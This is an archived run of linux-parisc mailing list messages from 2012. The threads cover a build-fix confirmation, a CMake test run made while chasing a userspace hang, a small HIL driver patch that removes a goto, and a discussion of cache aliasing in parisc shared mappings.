Original-Received: from mga09.intel.com ([134.134.136.24]:9856 "EHLO mga09.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752516Ab2JXJLF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Oct 2012 05:11:05 -0400
Original-Received: from orsmga001.jf.intel.com ([10.7.209.18])
  by orsmga102.jf.intel.com with ESMTP; 24 Oct 2012 02:10:37 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.80,639,1344236400"; 
   d="scan'208";a="209889887"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.21.82])
  by orsmga001.jf.intel.com with ESMTP; 24 Oct 2012 02:11:03 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1TQwzO-0000d4-0p; Wed, 24 Oct 2012 17:11:02 +0800
Content-Disposition: inline
In-Reply-To: <20121024110706.69282b16@endymion.delvare>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4653 gmane.linux.kernel.janitors:26692
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4653>

Hi Jean,

On Wed, Oct 24, 2012 at 11:07:06AM +0200, Jean Delvare wrote:
> Hi Fengguang,
> 
> On Tue, 16 Oct 2012 13:58:29 +0800, Fengguang Wu wrote:
> > FYI, kernel build failed on
> > 
> > tree:   git://git.kernel.org/pub/scm/linux/kernel/git/jdelvare/staging.git i2c-for-linus
> > head:   c415b303a704e5c5f766fc0404093910c36cc4ab
> > commit: 3ad7ea18ae8c7ddda46b7276e0bda73e707ea9c1 [9/15] i2c-i801: Support SMBus multiplexing on Asus Z8 series
> > config: parisc-allyesconfig # make ARCH=parisc allyesconfig
> 
> Can you please confirm that this problem is fixed in linux-next now? If
> it is OK I'll send the fix to Linus quickly.

Sure. I just confirmed that linux-next 20121024 builds fine now!

Thanks,
Fengguang
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Machine stuck when userspace 100% busy
Date: Wed, 24 Oct 2012 19:22:03 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <BLU0-SMTP39CD85B4DFFE0F7F19D78B97780@phx.gbl>
References: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de> <CAE2sS1jmDauox09o6YNin7c4KCdBEt8FuXRadroFxkfAp_ynvQ@mail.gmail.com> <0fe1c205e1be1760e357bcfe4f91f593@sf-mail.de> <CAE2sS1j6Pg6Hks97NCRNmN40vPvVbfZ+h5Y=s7tETOrT7s_FTA@mail.gmail.com> <d61cea15405ee5eb1687d4321aa108aa@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1351120943 32139 80.91.229.3 (24 Oct 2012 23:22:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2012 23:22:23 +0000 (UTC)
Cc: <linux-parisc@vger.kernel.org>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 25 01:22:32 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TRAHO-0002Ev-HP
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Oct 2012 01:22:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754577Ab2JXXWW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Oct 2012 19:22:22 -0400
Original-Received: from blu0-omc3-s20.blu0.hotmail.com ([65.55.116.95]:14039 "EHLO
	blu0-omc3-s20.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751370Ab2JXXWW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Oct 2012 19:22:22 -0400
Original-Received: from BLU0-SMTP39 ([65.55.116.73]) by blu0-omc3-s20.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 24 Oct 2012 16:22:21 -0700
X-Originating-IP: [69.158.131.52]
X-EIP: [SYU1Wkzj6KjgytTGSUfTnm5+PgNJ7Zw0]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.131.52]) by BLU0-SMTP39.blu0.hotmail.com over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Wed, 24 Oct 2012 16:22:20 -0700
In-Reply-To: <d61cea15405ee5eb1687d4321aa108aa@sf-mail.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 24 Oct 2012 23:22:20.0617 (UTC) FILETIME=[6A628390:01CDB23E]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4654
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4654>

On 23-Oct-12, at 11:23 AM, Rolf Eike Beer wrote:

> Ok, this is the way I can reproduce it:
>
> git clone git://cmake.org/cmake.git
> cd cmake
> git checkout cb4bff9882ecb7dbd674cc9d97ac5cd42248f0dc
> mkdir build
> cd build
> cmake ..
> make
> ctest


I ran this test on my system with the following results:

94% tests passed, 15 tests failed out of 261

Label Time Summary:
Label1    =   0.26 sec
Label2    =   0.26 sec

Total Test time (real) = 11715.14 sec

The following tests FAILED:
          57 - ExportImport (Failed)
          65 - Qt4Deploy (OTHER_FAULT)
          69 - Module.GenerateExportHeader (OTHER_FAULT)
          91 - SimpleInstall-Stage2 (OTHER_FAULT)
         111 - complex (OTHER_FAULT)
         112 - complexOneConfig (OTHER_FAULT)
         115 - QtAutomoc (OTHER_FAULT)
         133 - Plugin (OTHER_FAULT)
         191 - BootstrapTest (Failed)
         196 - IncludeDirectories (OTHER_FAULT)
         202 - CMakeOnly.LinkInterfaceLoop (Timeout)
         210 - CMakeOnly.AllFindModules (Failed)
         211 - CMakeOnly.TargetScope (Failed)
         217 - RunCMake.ObjectLibrary (Failed)
         261 - CMake.CheckSourceTree (Failed)
Errors while running CTest

System didn't hang.

Machine: rp3440
Kernel: 3.6.2+ (JDA changes)
libc: debian 2.13-35

If you have fixes for any of the above fails let me know.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Machine stuck when userspace 100% busy
Date: Thu, 25 Oct 2012 09:35:59 +0200
Lines: 77
Approved: news@gmane.org
Message-ID: <963c6d479e912919a0c8ad5652936cfe@sf-mail.de>
References: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de>
 <CAE2sS1jmDauox09o6YNin7c4KCdBEt8FuXRadroFxkfAp_ynvQ@mail.gmail.com>
 <0fe1c205e1be1760e357bcfe4f91f593@sf-mail.de>
 <CAE2sS1j6Pg6Hks97NCRNmN40vPvVbfZ+h5Y=s7tETOrT7s_FTA@mail.gmail.com>
 <d61cea15405ee5eb1687d4321aa108aa@sf-mail.de>
 <BLU0-SMTP39CD85B4DFFE0F7F19D78B97780@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1351150564 10111 80.91.229.3 (25 Oct 2012 07:36:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2012 07:36:04 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 25 09:36:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TRHz7-0001zX-EP
	for glpp-linux-parisc@plane.gmane.org; Thu, 25 Oct 2012 09:36:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758348Ab2JYHgB (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 25 Oct 2012 03:36:01 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:37723 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756770Ab2JYHgB (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 25 Oct 2012 03:36:01 -0400
Original-Received: (qmail 20029 invoked from network); 25 Oct 2012 07:35:59 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:60016 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 25 Oct 2012 09:35:59 +0200
In-Reply-To: <BLU0-SMTP39CD85B4DFFE0F7F19D78B97780@phx.gbl>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4655
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4655>

Am , schrieb John David Anglin:
> On 23-Oct-12, at 11:23 AM, Rolf Eike Beer wrote:
>
>> Ok, this is the way I can reproduce it:
>>
>> git clone git://cmake.org/cmake.git
>> cd cmake
>> git checkout cb4bff9882ecb7dbd674cc9d97ac5cd42248f0dc
>> mkdir build
>> cd build
>> cmake ..
>> make
>> ctest
>
>
> I ran this test on my system with the following results:
>
> 94% tests passed, 15 tests failed out of 261
>
> Label Time Summary:
> Label1    =   0.26 sec
> Label2    =   0.26 sec
>
> Total Test time (real) = 11715.14 sec
>
> The following tests FAILED:
>          57 - ExportImport (Failed)
>          65 - Qt4Deploy (OTHER_FAULT)
>          69 - Module.GenerateExportHeader (OTHER_FAULT)
>          91 - SimpleInstall-Stage2 (OTHER_FAULT)
>         111 - complex (OTHER_FAULT)
>         112 - complexOneConfig (OTHER_FAULT)
>         115 - QtAutomoc (OTHER_FAULT)
>         133 - Plugin (OTHER_FAULT)
>         191 - BootstrapTest (Failed)
>         196 - IncludeDirectories (OTHER_FAULT)
>         202 - CMakeOnly.LinkInterfaceLoop (Timeout)
>         210 - CMakeOnly.AllFindModules (Failed)
>         211 - CMakeOnly.TargetScope (Failed)
>         217 - RunCMake.ObjectLibrary (Failed)
>         261 - CMake.CheckSourceTree (Failed)
> Errors while running CTest

This is more or less expected as the version under test contains a bug, 
so of course some of the tests will fail.

BootstrapTest, the Qt*, and CMakeOnly.AllFindModules are not in the 
list of things that I expected to fail. Please send me your 
Testing/Temporary/LastTest.log so I can look what the problem was with 
them. CMake.CheckSourceTree will fail if you used my commands, as you 
then have the untracked "build" directory in your source tree. So if you 
kill the build dir and put it somewhere outside the checkout and use 
"cmake /path/to/source" instead of "cmake .." this will succeed. The 
CMakeOnly.AllFindModules _could_ be a problem related to multiarch 
include directories, but that one is usually harmless.

> System didn't hang.
>
> Machine: rp3440
> Kernel: 3.6.2+ (JDA changes)
> libc: debian 2.13-35
>
> If you have fixes for any of the above fails let me know.

This is an SMP system, I bet that makes a difference for this sort of 
problem. Can you try booting with nosmp?

Btw: boot with nr_cpu=1 will make the kernel go mad, although I would 
have expected it to behave exactly like nosmp. At least when I last 
tested it.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.input
Subject: [PATCH] HIL: remove one goto
Date: Wed, 31 Oct 2012 20:24:34 +0100
Lines: 40
Approved: news@gmane.org
Message-ID: <2837529.xgu9k1gmUb@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1351711481 21459 80.91.229.3 (31 Oct 2012 19:24:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 31 Oct 2012 19:24:41 +0000 (UTC)
To: linux-parisc@vger.kernel.org, linux-input@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 31 20:24:49 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TTduA-0004PH-BW
	for glpp-linux-parisc@plane.gmane.org; Wed, 31 Oct 2012 20:24:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1760100Ab2JaTYh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 31 Oct 2012 15:24:37 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:57953 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760089Ab2JaTYh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 31 Oct 2012 15:24:37 -0400
Original-Received: (qmail 26436 invoked from network); 31 Oct 2012 19:24:35 -0000
Original-Received: from dslb-178-003-166-161.pools.arcor-ip.net ([::ffff:178.3.166.161]:45804 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Wed, 31 Oct 2012 20:24:35 +0100
User-Agent: KMail/4.8.5 (Linux/3.6.4-9-desktop; KDE/4.8.5; x86_64; ; )
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4656 gmane.linux.kernel.input:27718
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4656>

This goto is only used to skip the next instruction, which can easily be done
without a goto.

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 drivers/input/serio/hil_mlc.c |   11 +++++------
 1 files changed, 5 insertions(+), 6 deletions(-)

diff --git a/drivers/input/serio/hil_mlc.c b/drivers/input/serio/hil_mlc.c
index bfd3865..0280167 100644
--- a/drivers/input/serio/hil_mlc.c
+++ b/drivers/input/serio/hil_mlc.c
@@ -686,13 +686,12 @@ static int hilse_donode(hil_mlc *mlc)
 		write_lock_irqsave(&mlc->lock, flags);
 		pack = node->object.packet;
 	out:
-		if (mlc->istarted)
-			goto out2;
-		/* Prepare to receive input */
-		if ((node + 1)->act & HILSE_IN)
-			hilse_setup_input(mlc, node + 1);
+		if (!mlc->istarted) {
+			/* Prepare to receive input */
+			if ((node + 1)->act & HILSE_IN)
+				hilse_setup_input(mlc, node + 1);
+		}
 
-	out2:
 		write_unlock_irqrestore(&mlc->lock, flags);
 
 		if (down_trylock(&mlc->osem)) {
-- 
1.7.7


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Fri, 02 Nov 2012 09:34:24 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1351848870 31325 80.91.229.3 (2 Nov 2012 09:34:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Nov 2012 09:34:30 +0000 (UTC)
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michel Lespinasse <walken@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 02 10:34:38 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TUDeA-0005t8-55
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Nov 2012 10:34:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759214Ab2KBJe3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Nov 2012 05:34:29 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40200 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1757555Ab2KBJe2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Nov 2012 05:34:28 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 9AEBB8EE0E4;
	Fri,  2 Nov 2012 02:34:27 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id v4JZaSPBDIol; Fri,  2 Nov 2012 02:34:27 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 72C5A8EE086;
	Fri,  2 Nov 2012 02:34:26 -0700 (PDT)
In-Reply-To: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4657>

[cc to parisc list]

On Thu, 2012-11-01 at 16:45 -0700, Michel Lespinasse wrote:
> Hi,
> 
> I am currently working on a patchset to avoid the brute-force search
> in arch_get_unmapped_area functions (and also pushes some of it back
> into generic code). So far I've only sent it as an RFC on linux-mm.

Actually, I read linux-mm pretty closely (at least for the cgroups
stuff), but I must have missed it.  In general, if you need the
attention of arch maintainers, linux-arch is the right list to cc.

> Looking at the arch/parisc/kernel/sys_parisc.c implementation of
> get_shared_area(), I do have a concern though. The function basically
> ignores the pgoff argument, so that if one creates a shared mapping of
> pages 0-N of a file, and then a separate shared mapping of pages 1-N
> of that same file, both will have the same cache offset for their
> starting address.
> 
> This looks like this would create obvious aliasing issues. Am I
> misreading this ? I can't understand how this could work good enough
> to be undetected, so there must be something I'm missing here ???

No, I think it does.

I also think the pgoff != 0 case is rare, so it doesn't show very often.
To test this, I booted up with a printk for every pgoff != 0 and it
didn't trigger, so it's probably not seen in the ordinary course of
events.

Finally, we have a test for inequvalent aliases in flush_dcache_page, so
even if we do get the inequivalency, we'll resolve it correctly.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Fri, 02 Nov 2012 11:08:24 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <1351854504.2439.20.camel@dabdike.int.hansenpartnership.com>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com>
	 <1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1351854510 14050 80.91.229.3 (2 Nov 2012 11:08:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Nov 2012 11:08:30 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Michel Lespinasse <walken@google.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 02 12:08:39 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TUF76-0003yR-J8
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Nov 2012 12:08:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762588Ab2KBLI2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Nov 2012 07:08:28 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40476 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1762395Ab2KBLI1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Nov 2012 07:08:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0B3518EE0E6;
	Fri,  2 Nov 2012 04:08:27 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id ZbTmQtBQiVls; Fri,  2 Nov 2012 04:08:26 -0700 (PDT)
Original-Received: from [153.66.254.224] (accolon.hansenpartnership.com [46.65.52.191])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id C2E3B8EE086;
	Fri,  2 Nov 2012 04:08:25 -0700 (PDT)
In-Reply-To: <1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
X-Mailer: Evolution 3.4.4 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4658
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4658>

On Fri, 2012-11-02 at 09:34 +0000, James Bottomley wrote:
> > Looking at the arch/parisc/kernel/sys_parisc.c implementation of
> > get_shared_area(), I do have a concern though. The function basically
> > ignores the pgoff argument, so that if one creates a shared mapping of
> > pages 0-N of a file, and then a separate shared mapping of pages 1-N
> > of that same file, both will have the same cache offset for their
> > starting address.
> > 
> > This looks like this would create obvious aliasing issues. Am I
> > misreading this ? I can't understand how this could work good enough
> > to be undetected, so there must be something I'm missing here ???
> 
> No, I think it does.
> 
> I also think the pgoff != 0 case is rare, so it doesn't show very often.
> To test this, I booted up with a printk for every pgoff != 0 and it
> didn't trigger, so it's probably not seen in the ordinary course of
> events.

I got it to show: Git uses mmap2 with large page offsets.  However, it
seems to use offsets with a granularity of 16MB which is 4x our aliasing
congruency, so an equivalency problem still wouldn't show up.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michel Lespinasse <walken@google.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: possible virtual aliasing issues on parisc ?
Date: Fri, 2 Nov 2012 04:20:48 -0700
Lines: 36
Approved: news@gmane.org
Message-ID: <CANN689HPeQhYCDcFenTH35iBL8zV7vpHvsQUJQOD=Vz3Z9D3bQ@mail.gmail.com>
References: <CANN689E4p3woSkdLavyyPA2gZUmVvOAW4w0R6fo9exRPQDa=JA@mail.gmail.com>
	<1351848864.2439.18.camel@dabdike.int.hansenpartnership.com>
	<1351854504.2439.20.camel@dabdike.int.hansenpartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1351855252 20236 80.91.229.3 (2 Nov 2012 11:20:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Nov 2012 11:20:52 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Nov 02 12:21:01 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TUFJ4-0007dH-KQ
	for glpp-linux-parisc@plane.gmane.org; Fri, 02 Nov 2012 12:20:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1762741Ab2KBLUu (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Nov 2012 07:20:50 -0400
Original-Received: from mail-vb0-f46.google.com ([209.85.212.46]:34248 "EHLO
	mail-vb0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757231Ab2KBLUt (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Nov 2012 07:20:49 -0400
Original-Received: by mail-vb0-f46.google.com with SMTP id ff1so3658702vbb.19
        for <linux-parisc@vger.kernel.org>; Fri, 02 Nov 2012 04:20:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-system-of-record;
        bh=z7ugSqdev6M8YLGH/r5aHuCpuGenp0VN2HCpImFgkFc=;
        b=anhrnH0Y+uD5+yWdQTi9aElo22hqOMRRryVlgwsHBh+cMcEPOzeKUYxkux72vY04E7
         8bSC4WcUROZjtNQz9ydyillDveCYqWbYTulnmIeC7TYWcv6i/oy6kf7W/QQBS5TbNzGf
         6NYObnl+tkWdi+w/k1+xLzvJkUq1ZkQ2j4oYDi//unPjEXpxQvybXhDxjoK24DyJT98R
         iCx95RQch8XDiSdJOp55+VCRBNMdzJouN4SwgVdhy0AsY3Co3T4E2be/VF2yPuzDtWmP
         5fdRMuPHsyCJ8B9RCDOGfTAKIUEFYzRBvVFPNPVKlL+bIMl+fTDocbNSREeIkXazQWom
         6uLA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type:x-system-of-record:x-gm-message-state;
        bh=z7ugSqdev6M8YLGH/r5aHuCpuGenp0VN2HCpImFgkFc=;
        b=jm5wHYwx7rFsIlsMtBoT2pMG6ULDfNbcbS8B5MiqSdv/hdFPpp64OX8AVNiSSTOnyu
